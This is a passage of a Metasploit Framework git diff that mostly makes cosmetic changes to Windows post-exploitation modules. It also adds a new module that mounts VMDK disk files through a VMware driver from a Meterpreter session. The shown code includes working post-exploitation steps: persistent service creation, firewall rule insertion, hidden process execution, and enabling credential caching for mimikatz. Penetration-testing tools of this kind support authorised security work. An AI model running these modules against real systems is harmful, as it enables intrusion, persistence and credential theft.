-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb
index 345b3bbe9d..02f7064576 100644
--- a/modules/post/windows/manage/mssql_local_auth_bypass.rb
+++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/mssql'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::MSSQL
 
   def initialize(info={})
diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb
index 1ee7462576..8eb4531602 100644
--- a/modules/post/windows/manage/multi_meterpreter_inject.rb
+++ b/modules/post/windows/manage/multi_meterpreter_inject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb
index 22b27b1b3d..2a6858f36f 100644
--- a/modules/post/windows/manage/nbd_server.rb
+++ b/modules/post/windows/manage/nbd_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb
index 5d5de9d039..764553e7d8 100644
--- a/modules/post/windows/manage/payload_inject.rb
+++ b/modules/post/windows/manage/payload_inject.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/common'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Common
 
   def initialize(info={})
diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb
index 2ca72c94a9..a3107f5b33 100644
--- a/modules/post/windows/manage/persistence_exe.rb
+++ b/modules/post/windows/manage/persistence_exe.rb
@@ -1,7 +1,7 @@
-###
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 require 'msf/core/post/common'
 require 'msf/core/post/file'
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Post
     super(update_info(info,
                       'Name' => 'Windows Manage Persistent EXE Payload Installer',
                       'Description'   => %q(
-                            This Module will upload a executable to a remote host and make it Persistent.
+                            This Module will upload an executable to a remote host and make it Persistent.
                             It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
                             SYSTEM will start on system boot but requires privs. SERVICE will create a new service
                             which will start the payload. Again requires privs.
@@ -140,7 +140,7 @@ class MetasploitModule < Msf::Post
       print_status("Installing as service..")
       nam = Rex::Text.rand_text_alpha(rand(8) + 8)
       print_status("Creating service #{nam}")
-      service_create(nam, nam, "cmd /c \"#{script_on_target}\"")
+      service_create(nam, :path=>"cmd /c \"#{script_on_target}\"")
       @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
     else
       print_error("Insufficient privileges to create service")
diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb
index 66dfbe37e0..ca4e7a7b69 100644
--- a/modules/post/windows/manage/portproxy.rb
+++ b/modules/post/windows/manage/portproxy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,7 +108,7 @@ class MetasploitModule < Msf::Post
   end
 
   def fw_enable_ports
-    print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
+    print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
     if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
       cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
     else
diff --git a/modules/post/windows/manage/powershell/build_net_code.rb b/modules/post/windows/manage/powershell/build_net_code.rb
index dba04723eb..9471f4e0bc 100644
--- a/modules/post/windows/manage/powershell/build_net_code.rb
+++ b/modules/post/windows/manage/powershell/build_net_code.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Post
     end
 
     # Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
-    if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
+    if client.sys.config.is_system?
       print_error "Cannot run as system"
       return 0
     end
diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb
index 2fe031f986..5fbd77daae 100644
--- a/modules/post/windows/manage/powershell/exec_powershell.rb
+++ b/modules/post/windows/manage/powershell/exec_powershell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,6 +117,5 @@ class MetasploitModule < Msf::Post
     # That's it
     print_good('Finished!')
   end
-
 end
 
diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb
index 07b03c80f6..7f65c3712a 100644
--- a/modules/post/windows/manage/powershell/load_script.rb
+++ b/modules/post/windows/manage/powershell/load_script.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -41,5 +41,4 @@ class MetasploitModule < Msf::Post
       files.each do |script| stage_psh_env(datastore['FOLDER'] + script) end
     end
   end
-
 end
diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb
index e33f8c8b22..332399cf79 100644
--- a/modules/post/windows/manage/pptp_tunnel.rb
+++ b/modules/post/windows/manage/pptp_tunnel.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
@@ -87,14 +86,14 @@ class MetasploitModule < Msf::Post
     conf_conn += "IpPrioritizeRemote=0\r\n" unless mim
 
     if write_file(pbk_file,conf_conn)
-      print_good ("PhoneBook configuration written to #{pbk_file}")
+      print_good("PhoneBook configuration written to #{pbk_file}")
       return pbk_file
     end
   end
 
 
   def run_rasdial(pbk,user,pass,vpn_host,pbk_name)
-    print_status ("Establishing connection ...")
+    print_status("Establishing connection ...")
     cmd_exec("rasdial","/disconnect")
     output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
     output_view = cmd_exec("rasdial", nil)
diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb
index bdfe79a973..3c918bf6f1 100644
--- a/modules/post/windows/manage/priv_migrate.rb
+++ b/modules/post/windows/manage/priv_migrate.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Post
     super( update_info( info,
       'Name'          => 'Windows Manage Privilege Based Process Migration ',
       'Description'   => %q{ This module will migrate a Meterpreter session based on session privileges.
-         It will do everything it can to migrate, including spawing a new User level process.
+         It will do everything it can to migrate, including spawning a new User level process.
          For sessions with Admin rights: It will try to migrate into a System level process in the following
          order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
          If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb
index 60b3cf8f97..a057a80c9a 100644
--- a/modules/post/windows/manage/pxeexploit.rb
+++ b/modules/post/windows/manage/pxeexploit.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -92,5 +91,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb
index 0b6ba1bea4..3e7bd60bea 100644
--- a/modules/post/windows/manage/reflective_dll_inject.rb
+++ b/modules/post/windows/manage/reflective_dll_inject.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
-class MetasploitModule < Msf::Post
 
+class MetasploitModule < Msf::Post
   include Msf::Post::Windows::ReflectiveDLLInjection
 
   def initialize(info={})
diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb
index 21bb00ea4c..151320ea36 100644
--- a/modules/post/windows/manage/remove_ca.rb
+++ b/modules/post/windows/manage/remove_ca.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ class MetasploitModule < Msf::Post
     open_key.delete_key(certtoremove)
     print_good("Successfully deleted CA: #{certtoremove}")
   end
-
 end
diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb
index f7fd4da5c0..52fa98d570 100644
--- a/modules/post/windows/manage/remove_host.rb
+++ b/modules/post/windows/manage/remove_host.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,5 +54,4 @@ class MetasploitModule < Msf::Post
     client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
     print_good("Done!")
   end
-
 end
diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb
index e1db4f5773..3fbeacec3f 100644
--- a/modules/post/windows/manage/rpcapd_start.rb
+++ b/modules/post/windows/manage/rpcapd_start.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Services
@@ -87,7 +86,7 @@ class MetasploitModule < Msf::Post
   end
 
   def fw_enable(prog)
-    print_status ("Enabling rpcapd.exe in Windows Firewall")
+    print_status("Enabling rpcapd.exe in Windows Firewall")
     begin
       if file_exist?(prog)
         cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb
index f696257177..55793f962c 100644
--- a/modules/post/windows/manage/run_as.rb
+++ b/modules/post/windows/manage/run_as.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post
         This module will login with the specified username/password and execute the
         supplied command as a hidden process. Output is not returned by default, by setting
         CMDOUT to false output will be redirected to a temp file and read back in to
-        display.By setting advanced option SETPASS to true, it will reset the users
+        display. By setting advanced option SETPASS to true, it will reset the users
         password and then execute the command.
                             ),
       'License'              => MSF_LICENSE,
diff --git a/modules/post/windows/manage/run_as_psh.rb b/modules/post/windows/manage/run_as_psh.rb
index f39ddcf4e9..282ac30d27 100644
--- a/modules/post/windows/manage/run_as_psh.rb
+++ b/modules/post/windows/manage/run_as_psh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb
index 551e5b4ef6..d9c33e9a38 100644
--- a/modules/post/windows/manage/sdel.rb
+++ b/modules/post/windows/manage/sdel.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::File
 
diff --git a/modules/post/windows/manage/sticky_keys.rb b/modules/post/windows/manage/sticky_keys.rb
index 830053751d..d460ba19cb 100644
--- a/modules/post/windows/manage/sticky_keys.rb
+++ b/modules/post/windows/manage/sticky_keys.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
@@ -118,5 +117,4 @@ class MetasploitModule < Msf::Post
       print_good("'Sticky keys' removed from registry key #{target_key}.")
     end
   end
-
 end
diff --git a/modules/post/windows/manage/vmdk_mount.rb b/modules/post/windows/manage/vmdk_mount.rb
new file mode 100644
index 0000000000..9b14badf3e
--- /dev/null
+++ b/modules/post/windows/manage/vmdk_mount.rb
@@ -0,0 +1,257 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Windows::Registry
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'         => 'Windows Manage VMDK Mount Drive',
+      'Description'  => %q{
+        This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
+        of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
+        device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
+        extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
+        or clones are linked from the file.
+      },
+      'License'      => MSF_LICENSE,
+      'Author'       => 'Borja Merino <bmerinofe[at]gmail.com>',
+      'References'   =>
+        [
+          ['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
+        ],
+      'Platform'     => ['win'],
+      'SessionTypes' => ['meterpreter']
+    ))
+
+    register_options(
+      [
+        OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
+        OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
+        OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
+        OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
+      ]
+    )
+  end
+
+  # It returns an array of the drives currently mounted. Credits to mubix for this function.
+  def get_drives
+    a = client.railgun.kernel32.GetLogicalDrives()["return"]
+    drives = []
+    letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    (0..25).each do |i|
+      test = letters[i,1]
+      rem = a % (2**(i+1))
+      if rem > 0
+        drives << test
+        a = a - rem
+      end
+    end
+
+    drives
+  end
+
+  def run
+    vol = datastore['DRIVE'][0].upcase
+    vmdk = datastore['VMDK_PATH']
+    if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0
+      print_error("Wrong drive letter. Choose another one")
+      return
+    end
+
+    drives = get_drives
+    if drives.include? vol
+      print_error("The following mount points already exists: #{drives}. Choose another one")
+      return
+    end
+
+    # Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
+    begin
+      client.fs.file.stat(vmdk)
+    rescue
+      print_error("File #{vmdk} not found")
+      return
+    end
+
+    vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe","path")
+
+    if vmware_path.nil?
+      print_error("VMware installation path not found.")
+      return
+    end
+
+    print_status("VMware path: \"#{vmware_path}\"")
+
+    vstor_device = find_vstor2_device
+    if vstor_device.nil?
+      return
+    end
+
+    if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
+      return
+    end
+
+    # Just few seconds to mount the unit and create the lck file
+    sleep(5)
+
+    if get_drives.include? vol
+      print_good("The drive #{vol}: seems to be ready")
+      if datastore['DEL_LCK']
+        delete_lck(vmdk)
+      end
+    else
+      print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
+      # Some snapshots could give some problems when are mount in write mode
+      if !datastore['READ_MODE']
+        print_status("Try to mount the drive in read only mode")
+      end
+    end
+  end
+
+  # Delete the lck file generated after mounting the drive
+  def delete_lck(vmdk)
+    lck_dir = vmdk << ".lck"
+    begin
+      files = client.fs.dir.entries(lck_dir)
+      vprint_status("Directory lock: #{lck_dir}")
+    rescue Rex::Post::Meterpreter::RequestError
+      print_status("It was not found a lck directory")
+      return
+    end
+
+    files.shift(2)
+    files.each do |f|
+      f_path = lck_dir + "\\#{f}"
+      next if !file?(f_path)
+      fd = client.fs.file.open(f_path)
+      content =  fd.read.to_s
+      fd.close
+      if content.include? "vixDiskMountServer"
+        begin
+          client.fs.file.rm(f_path)
+          print_status("Lock file #{f} deleted")
+        rescue ::Exception => e
+          print_error("Unable to remove file: #{e.message}")
+        end
+      end
+    end
+  end
+
+  # Recover the device drive name created by vstor2-mntapi20-shared.sys
+  def find_vstor2_device
+    reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\"
+    devices = registry_enumkeys(reg_services)
+    vstor2_key = devices.grep(/^vstor2/)
+    if !vstor2_key.any?
+      print_error("No vstor2 key found on #{reg_services}")
+      return
+    end
+
+    device_path = registry_getvaldata(reg_services << vstor2_key[0],"ImagePath")
+
+    if device_path.nil?
+      print_error("No image path found for the vstor2 device")
+      return
+    end
+
+    device_name = device_path.split('\\')[-1].split('.')[0]
+    print_status("Device driver name found: \\\\.\\#{device_name}")
+    device_name.insert(0, "\\\\.\\")
+  end
+
+  # Mount the vmdk file by sending a magic control code via DeviceIoControl
+  def mount_vmdk(vstore, vmdk_file, vol, read_mode)
+    # DWORD value representing the drive letter
+    i = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(vol)
+    drive_dword = [(0x00000001 << i)].pack('V')
+    vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
+
+    ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING",0, nil)
+    if ret['GetLastError'] != 0
+      print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
+      return false
+    end
+    # fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
+    fd1 = "\x24\x01\x00\x00"
+    fd2 = "\x00\x00\x00\x00"
+    fd3 = "\xBA\xAB\x00\x00"
+    fd4 = "\x00\x00\x00\x00"
+    fd5 = "\x02\x00\x00\x00"
+    fd6 = "\x00\x00\x00\x00"
+    path = (vmdk_file).ljust 260, "\x00"
+    if read_mode
+      fd7 = "\x01\x00\x00\x00"
+    else
+      fd7 = "\x00\x00\x00\x00"
+    end
+
+    # The total length of the buffer should be 292
+    buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
+
+    error_code = ""
+    tries = 0
+    loop do
+      ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil)
+      error_code = ioctl['GetLastError']
+      vprint_status("GetlastError DeviceIoControl = #{error_code}")
+      tries += 1
+      break if tries == 3 || (error_code != 31 && error_code != 6)
+    end
+
+    if error_code == 997 || error_code == 0
+      client.railgun.kernel32.CloseHandle(ret['return'])
+      return true
+    else
+      print_error("The vmdk file could't be mounted")
+      return false
+    end
+  end
+
+  # Run the hidden vixDiskMountServer process needed to interact with the driver
+  def open_mountserver(path)
+    mount_bin = "vixDiskMountServer.exe"
+    if !file?(path << mount_bin)
+      print_error("#{mount_bin} not found in \"#{path}\"")
+      return false
+    end
+
+    # If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
+    # possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running
+    # the script could be a solution (although this can raise suspicions to the user).
+
+    # On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill
+    # the process to run the script again and mount another drive except if you change the mode (write or read only).
+    # For this reason, to avoid this case, the process is relaunched automatically.
+    p = session.sys.process.each_process.find { |i| i["name"] == mount_bin}
+
+    if p
+      if p["ppid"] != session.sys.process.getpid
+        print_error("An instance of #{mount_bin} is already running by another process")
+        return false
+      else
+        begin
+          print_status("Killing the #{mount_bin} instance")
+          session.sys.process.kill(p["pid"])
+          sleep(1)
+        rescue ::Rex::Post::Meterpreter::RequestError => error
+          print_error("The #{mount_bin} instance depending on Meterpeter could not be killed")
+          return false
+        end
+      end
+    end
+
+    begin
+      proc = session.sys.process.execute(path, nil, {'Hidden' => true})
+      sleep(1)
+      print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
+    rescue ::Rex::Post::Meterpreter::RequestError => error
+      print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}")
+      return false
+    end
+
+    true
+  end
+end
diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb
index 065d75be82..c0e6334f55 100644
--- a/modules/post/windows/manage/vss_create.rb
+++ b/modules/post/windows/manage/vss_create.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
 
diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb
index f67ee1399b..16ba45f42d 100644
--- a/modules/post/windows/manage/vss_list.rb
+++ b/modules/post/windows/manage/vss_list.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
 
@@ -66,5 +64,4 @@ class MetasploitModule < Msf::Post
       )
     end
   end
-
 end
diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb
index adbc250dc4..1df0ea73a4 100644
--- a/modules/post/windows/manage/vss_mount.rb
+++ b/modules/post/windows/manage/vss_mount.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
 
@@ -52,5 +50,4 @@ class MetasploitModule < Msf::Post
     r = session.sys.process.execute("cmd.exe /C mklink /D #{datastore['DEVICE']} #{datastore['PATH']}", nil, {'Hidden' => true})
 
   end
-
 end
diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb
index 57dff73d64..84227f6225 100644
--- a/modules/post/windows/manage/vss_set_storage.rb
+++ b/modules/post/windows/manage/vss_set_storage.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
 
@@ -13,7 +11,7 @@ class MetasploitModule < Msf::Post
     super(update_info(info,
       'Name'                 => "Windows Manage Set Shadow Copy Storage Space",
       'Description'          => %q{
-        This module will attempt to change the ammount of space
+        This module will attempt to change the amount of space
         for volume shadow copy storage. This is based on the
         VSSOwn Script originally posted by Tim Tomes and
         Mark Baggett.
diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb
index 2f15925a3c..1893a58db0 100644
--- a/modules/post/windows/manage/vss_storage.rb
+++ b/modules/post/windows/manage/vss_storage.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
 
diff --git a/modules/post/windows/manage/wdigest_caching.rb b/modules/post/windows/manage/wdigest_caching.rb
index 984b4e2aa8..85de72a541 100644
--- a/modules/post/windows/manage/wdigest_caching.rb
+++ b/modules/post/windows/manage/wdigest_caching.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
@@ -12,7 +17,7 @@ class MetasploitModule < Msf::Post
       'Description'   => %q{
           On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables
           credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.
-          Any subsequest logins will allow mimikatz to recover the plain text passwords from the system's memory.
+          Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],
diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb
index 01aa80251f..0259894d94 100644
--- a/modules/post/windows/manage/webcam.rb
+++ b/modules/post/windows/manage/webcam.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
@@ -126,6 +125,5 @@ class MetasploitModule < Msf::Post
 
     return webcams
   end
-
 end
 
diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb
index 2abd182fdb..d40a25a614 100644
--- a/modules/post/windows/recon/computer_browser_discovery.rb
+++ b/modules/post/windows/recon/computer_browser_discovery.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Post
         'Description'   => %q{ This module uses railgun to discover hostnames and IPs on the network.
           LTYPE should be set to one of the following values: WK (all workstations), SVR (all servers),
           SQL (all SQL servers), DC (all Domain Controllers), DCBKUP (all Domain Backup Servers),
-          NOVELL (all Novell servers), PRINTSVR (all Print Que servers), MASTERBROWSER (all Master Browswers),
+          NOVELL (all Novell servers), PRINTSVR (all Print Que servers), MASTERBROWSER (all Master Browsers),
           WINDOWS (all Windows hosts), or UNIX (all Unix hosts).
           },
         'License'       => MSF_LICENSE,
@@ -101,7 +100,7 @@ class MetasploitModule < Msf::Post
       print_error("No systems found of that type")
       return
     end
-    print_status("Found #{result['totalentries']} systems.")
+    print_good("Found #{result['totalentries']} systems.")
 
     endofline = 0
     i = nameiterator
diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb
index 412d02f1ec..1afdd90c92 100644
--- a/modules/post/windows/recon/outbound_ports.rb
+++ b/modules/post/windows/recon/outbound_ports.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Post
   def icmp_setup
     handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP")
